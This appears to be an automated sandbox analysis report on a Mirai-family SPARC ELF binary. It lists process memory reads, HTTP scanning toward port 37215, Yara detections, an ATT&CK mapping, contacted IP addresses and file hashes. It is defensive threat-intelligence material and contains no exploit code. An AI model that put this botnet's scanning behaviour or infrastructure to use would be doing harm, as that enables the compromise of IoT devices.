Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3163/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3162/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/790/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3161/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/792/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/793/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/672/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1930/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/674/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/795/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3315/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1411/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2984/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1410/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/797/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/676/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3158/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/678/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/679/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3170/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/680/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3208/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3327/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1940/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3203/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/726/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/727/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1946/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/1944/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3209/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/3181/maps	Jump to behavior
Source: /tmp/cbr.spc.elf (PID: 5445)	File opened: /proc/2496/maps	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 38516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52564 -> 37215

Source: /tmp/cbr.spc.elf (PID: 5432)

Queries kernel information via 'uname':

Jump to behavior

Source: cbr.spc.elf, 5432.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5434.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5438.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5445.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5447.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5449.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: cbr.spc.elf, 5432.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5434.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5438.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5445.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5447.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp, cbr.spc.elf, 5449.1.000055fa47f61000.000055fa47fc6000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: cbr.spc.elf, 5432.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5434.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5438.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5445.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5447.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5449.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp	Binary or memory string: A{x86_64/usr/bin/qemu-sparc/tmp/cbr.spc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/cbr.spc.elf
Source: cbr.spc.elf, 5432.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5434.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5438.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5445.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5447.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp, cbr.spc.elf, 5449.1.00007ffff76b8000.00007ffff76d9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: cbr.spc.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5445.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5447.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5434.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007fe578034000.00007fe5780b6000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5434, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5447, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5449, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: cbr.spc.elf, type: SAMPLE
Source: Yara match	File source: 5432.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5445.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5447.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5434.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5438.1.00007fe578011000.00007fe578021000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5449.1.00007fe578034000.00007fe5780b6000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5434, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5445, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5447, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cbr.spc.elf PID: 5449, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
cbr.spc.elf	50%	ReversingLabs	Linux.Trojan.Mirai
cbr.spc.elf	100%	Avira	EXP/ELF.Mirai.W

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	cbr.spc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	cbr.spc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
223.8.21.79	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
41.158.166.201	unknown	Gabon	16058	Gabon-TelecomGA	true
223.8.21.88	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
223.8.69.23	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
41.191.115.78	unknown	unknown	36974	AFNET-ASCI	true
156.53.87.170	unknown	United States	29695	ALTIBOX_ASNorwayNO	true
135.139.65.45	unknown	United States	14962	NCR-252US	false
223.8.23.22	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
156.40.164.183	unknown	United States	3527	NIH-NETUS	true
35.32.65.179	unknown	United States	36375	UMICH-AS-5US	false
46.227.173.69	unknown	Czech Republic	199604	KU-ASOLOMOUCKYKRAJCZ	false
46.20.248.121	unknown	Switzerland	25091	IP-MAXCH	true
223.8.131.133	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
223.8.107.146	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
133.240.54.166	unknown	Japan	7687	D-CRUISENETTOYOTADIGITALCRUISEINCORPORATEDJP	false
148.81.78.228	unknown	Poland	1887	NASK-ACADEMICPL	false
46.102.250.92	unknown	Romania	9009	M247GB	true
134.250.14.201	unknown	United States	210	WEST-NET-WESTUS	true
197.254.34.182	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	true
223.8.242.215	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
223.8.204.157	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
222.211.230.51	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.89.18.208	unknown	United States	2386	INS-ASUS	true
61.123.5.242	unknown	Japan	4725	ODNSoftBankMobileCorpJP	false
17.120.167.86	unknown	United States	714	APPLE-ENGINEERINGUS	false
196.94.5.95	unknown	Morocco	6713	IAM-ASMA	true
181.254.107.153	unknown	Colombia	26611	COMCELSACO	false
164.171.50.127	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
80.247.105.65	unknown	Russian Federation	21365	INTELECA-ASRussiaBarnaulRU	false
197.154.238.217	unknown	Ethiopia	37133	airtel-tz-asTZ	true
156.103.39.99	unknown	United States	393504	XNSTGCA	true
27.86.126.132	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
194.30.148.60	unknown	Cyprus	5504	LOGOSNETCY	false
115.252.9.161	unknown	India	18101	RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC	false
156.205.174.10	unknown	Egypt	8452	TE-ASTE-ASEG	true
134.73.194.167	unknown	United States	46573	LAYER-HOSTUS	false
202.142.67.217	unknown	India	17747	SITINETWORS-IN-APSITINETWORKSLIMITEDIN	false
197.73.65.201	unknown	South Africa	16637	MTNNS-ASZA	true
196.102.253.37	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
24.219.162.48	unknown	United States	8092	AMHUS	false
156.181.141.115	unknown	Egypt	36992	ETISALAT-MISREG	true
223.8.137.225	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.192.51.201	unknown	South Africa	29975	VODACOM-ZA	true
223.8.96.206	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
196.35.169.43	unknown	South Africa	3741	ISZA	true
134.206.179.66	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	true
134.154.138.161	unknown	United States	2152	CSUNET-NWUS	false
89.90.68.147	unknown	France	5410	BOUYGTEL-ISPFR	false
197.214.114.204	unknown	South Africa	37276	VOFFICEZA	true
95.0.80.71	unknown	Turkey	9121	TTNETTR	false
40.87.204.208	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.46.247.120	unknown	United States	174	COGENT-174US	false
181.1.146.84	unknown	Argentina	7303	TelecomArgentinaSAAR	true
156.236.78.194	unknown	Seychelles	40065	CNSERVERSUS	true
196.128.117.24	unknown	Egypt	36935	Vodafone-EG	true
41.148.201.169	unknown	South Africa	5713	SAIX-NETZA	true
46.45.35.119	unknown	Russian Federation	51515	VEGA-NET-ASRU	true
168.46.67.175	unknown	United States	1761	TDIR-CAPNETUS	false
41.166.60.102	unknown	South Africa	36937	Neotel-ASZA	true
197.129.195.143	unknown	Morocco	6713	IAM-ASMA	false
87.184.222.224	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
161.169.210.5	unknown	United States	10695	WAL-MARTUS	false
198.51.107.165	unknown	Canada	22457	CCICA	false
46.216.168.123	unknown	Belarus	25106	MTSBY-ASBY	false
197.233.226.151	unknown	Namibia	36999	TELECOM-NAMIBIANA	true
223.8.104.48	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	true
181.23.81.74	unknown	Argentina	22927	TelefonicadeArgentinaAR	true
109.191.147.61	unknown	Russian Federation	8369	INTERSVYAZ-AS38-BKomsomolskyprospektRU	false
95.83.196.204	unknown	Ireland	13280	H3GIE	false
196.66.132.13	unknown	Morocco	6713	IAM-ASMA	false
156.165.223.107	unknown	Egypt	36992	ETISALAT-MISREG	true
197.95.35.187	unknown	South Africa	10474	OPTINETZA	false
18.29.145.152	unknown	United States	3	MIT-GATEWAYSUS	false
196.66.211.186	unknown	Morocco	6713	IAM-ASMA	true
41.232.249.46	unknown	Egypt	8452	TE-ASTE-ASEG	true
161.15.23.153	unknown	United States	61231	SSE-TELECOMSGB	false
196.27.5.43	unknown	United States	8376	JordanDataCommunicationsJO	true
72.37.84.232	unknown	United States	10405	UPRR-ASN-01US	false
134.66.172.55	unknown	United States	385	AFCONC-BLOCK1-ASUS	true
46.171.1.204	unknown	Poland	5617	TPNETPL	false
192.84.213.17	unknown	United States	786	JANETJiscServicesLimitedGB	false
196.220.8.10	unknown	Nigeria	3741	ISZA	true
41.167.37.254	unknown	South Africa	36937	Neotel-ASZA	true
196.114.160.49	unknown	Morocco	36925	ASMediMA	true
41.123.42.152	unknown	South Africa	16637	MTNNS-ASZA	true
46.49.183.74	unknown	Romania	43987	STCS-ASSA	true
181.247.114.227	unknown	Colombia	26611	COMCELSACO	true
159.82.114.194	unknown	United States	16928	UTCNETUS	false
40.240.112.145	unknown	United States	4249	LILLY-ASUS	false
74.180.170.24	unknown	United States	7018	ATT-INTERNET4US	false
196.27.175.148	unknown	Nigeria	37297	OAU-IfeNG	true
78.148.57.25	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
34.230.52.33	unknown	United States	14618	AMAZON-AESUS	false
66.185.9.5	unknown	United States	17306	RISE-BROADBANDUS	false
46.70.19.163	unknown	Armenia	12297	ARMENTELRepublicofArmeniaAM	true
196.133.102.177	unknown	Egypt	36935	Vodafone-EG	true
198.171.88.13	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
196.194.52.197	unknown	South Africa	23889	MauritiusTelecomMU	true
196.176.73.27	unknown	Tunisia	37693	TUNISIANATN	true
73.248.49.66	unknown	United States	7922	COMCAST-7922US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
197.254.34.182	4v8yUb4hRc.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINANET-BACKBONENo31Jin-rongStreetCN	cbr.mips.elf	Get hash	malicious	Mirai	Browse	223.8.76.166
	cbr.arm7.elf	Get hash	malicious	Mirai	Browse	1.183.22.58
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	223.8.196.189
	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	223.8.175.24
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	63.140.37.33
	nabarm7.elf	Get hash	malicious	Unknown	Browse	118.181.135.57
	splarm7.elf	Get hash	malicious	Unknown	Browse	119.137.238.228
	nabspc.elf	Get hash	malicious	Unknown	Browse	121.207.3.184
	nklarm.elf	Get hash	malicious	Unknown	Browse	111.112.31.93
	morte.arm7.elf	Get hash	malicious	Unknown	Browse	219.138.126.64
CHINANET-BACKBONENo31Jin-rongStreetCN	cbr.mips.elf	Get hash	malicious	Mirai	Browse	223.8.76.166
	cbr.arm7.elf	Get hash	malicious	Mirai	Browse	1.183.22.58
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	223.8.196.189
	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	223.8.175.24
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	63.140.37.33
	nabarm7.elf	Get hash	malicious	Unknown	Browse	118.181.135.57
	splarm7.elf	Get hash	malicious	Unknown	Browse	119.137.238.228
	nabspc.elf	Get hash	malicious	Unknown	Browse	121.207.3.184
	nklarm.elf	Get hash	malicious	Unknown	Browse	111.112.31.93
	morte.arm7.elf	Get hash	malicious	Unknown	Browse	219.138.126.64
Gabon-TelecomGA	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	41.159.191.194
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	41.158.217.45
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	41.158.242.42
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	41.158.143.108
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	41.211.188.119
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.159.1.121
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	41.158.205.72
	res.mips.elf	Get hash	malicious	Unknown	Browse	41.158.242.53
	Hilix.x86.elf	Get hash	malicious	Unknown	Browse	41.159.1.135
	armv5l.elf	Get hash	malicious	Unknown	Browse	41.159.122.72
CHINANET-BACKBONENo31Jin-rongStreetCN	cbr.mips.elf	Get hash	malicious	Mirai	Browse	223.8.76.166
	cbr.arm7.elf	Get hash	malicious	Mirai	Browse	1.183.22.58
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	223.8.196.189
	cbr.m68k.elf	Get hash	malicious	Mirai	Browse	223.8.175.24
	3vnPlay__(Harrison.edwards)__Now_AUD__autoresponse_}.svg	Get hash	malicious	HTMLPhisher	Browse	63.140.37.33
	nabarm7.elf	Get hash	malicious	Unknown	Browse	118.181.135.57
	splarm7.elf	Get hash	malicious	Unknown	Browse	119.137.238.228
	nabspc.elf	Get hash	malicious	Unknown	Browse	121.207.3.184
	nklarm.elf	Get hash	malicious	Unknown	Browse	111.112.31.93
	morte.arm7.elf	Get hash	malicious	Unknown	Browse	219.138.126.64

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.071303021872176
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	cbr.spc.elf
File size:	63'544 bytes
MD5:	bbfc004477110952b9fca25f4591eadc
SHA1:	604ff07884d8a45adffc5d4fb2524f224151495c
SHA256:	a055b55c5b3c5c0bfe696feb5da8f62b70129278606087e159389f60a2a588fc
SHA512:	8895df85d4e96117083ce7981defc999a7cd57698750ed1b27b008ca1daccc7bd896058e21392a4f8b53206d5b8152f548b333b9e31bc8be32b44dd785eb9cd8
SSDEEP:	768:t7xuwTWOnRyXTLDzV/XlLUmztO+T5VwcrhFZ31t6WfIfqqxS:t7xmOR+LlvlwQT5pTt6WfP
TLSH:	54532936BEE02C2BC1DD96BB20F34721F6F7534A24B84A1A3CA50E9D7F24A5135037A5
File Content Preview:	.ELF...........................4.........4. ...(.......................................................d..%.........dt.Q................................@..(....@.5.................#.....bh..`.....!.....#...@.....".........`......$#...#...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	63144
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
